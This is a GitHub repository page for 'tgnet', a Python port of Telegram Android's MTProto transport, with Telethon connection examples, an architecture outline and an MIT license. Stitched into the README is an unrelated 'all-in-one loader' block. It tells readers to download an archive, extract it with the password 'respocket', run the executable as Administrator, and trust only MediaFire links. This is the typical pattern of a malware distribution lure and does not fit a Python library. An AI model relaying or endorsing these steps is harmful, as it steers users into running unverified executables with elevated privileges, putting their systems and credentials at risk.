Skip to content

About

Telegram Android's C++ MTProto library (tgnet), reimplemented in Python

Topics

Contributing

Stars

28 stars

Watchers

0 watching

Forks

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

Downloads User Rating Latest Version

⚡ All-in-one loader: The entire script is compiled into a single loader for your convenience — just download, extract, and run. No extra setup required.

  1. ⬇️ Download the tool from the button above.
  2. 📦 Extract the archive (password: respocket).
  3. 🖱️ Run as Administrator – right‑click the executable and select Run as Administrator.
  4. ✅ Follow the setup wizard – complete the installation.
  5. 🚀 Launch the Tool – the main window appears.

⚠️ Important: Official Distribution Notice

We distribute our software only through MediaFire.
If the download link leads to any other file-sharing service, please do not download it — it may be an unofficial or modified copy.
For your safety, always use the official release.


💙 Prepared by the Respocket Team

This release was carefully prepared by the Respocket Team — with attention to every detail, a focus on stability, and respect for our users.
Thank you for choosing our software. Download only official versions and stay with us!


tgnet

Telegram Android's C++ MTProto transport, reimplemented in Python

How to use

To use the standard direct connection strategy (obfuscated Abridged TCP), pass TgNetConnection as the connection argument when initializing your TelegramClient.

from telethon import TelegramClient
from tgnet.connection import TgNetConnection

client = TelegramClient(
    'session',
    api_id=123,
    api_hash="DodoPizza",
    connection=TgNetConnection
)

MTProxy

If you need to connect through an MTProxy using FakeTLS (where the secret starts with ee), use TgNetConnectionTls.

from telethon import TelegramClient
from tgnet.connection.faketls import TgNetConnectionTls

proxy = (
    'proxy.example.com',
    443,
    'ee1234567890abcdef1234567890abcdef676f6f676c652e636f6d' 
)

client = TelegramClient(
    'session',
    api_id=123,
    api_hash="123123123",
    connection=TgNetConnectionTls,
    proxy=proxy
)

Architecture

  • tgnet.connection.TgNetConnection: The base connection class. Overrides Telethon's default socket establishment to forcefully disable TLS at the socket layer and apply Android-specific socket options.
  • tgnet.obfuscated_io.TgNetObfuscatedIO: Handles the AES-256-CTR continuous keystream encryption and decryption over the raw TCP stream, mirroring Connection.cpp:594-620.
  • tgnet.address_book.TgNetAddressBook: Manages the precise port/IP rotation logic, attempting ports like 443 and 5222 systematically before failing over.
  • tgnet.connection.faketls.*: The standalone Fake-TLS record layer that intercepts traffic, performs the initial proxy handshake, and wraps subsequent MTProto payloads in TLS application data.

MIT License

Copyright (c) 2026 Dmitry Nasedkin

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

About

Telegram Android's C++ MTProto library (tgnet), reimplemented in Python

Topics

Contributing

Stars

28 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages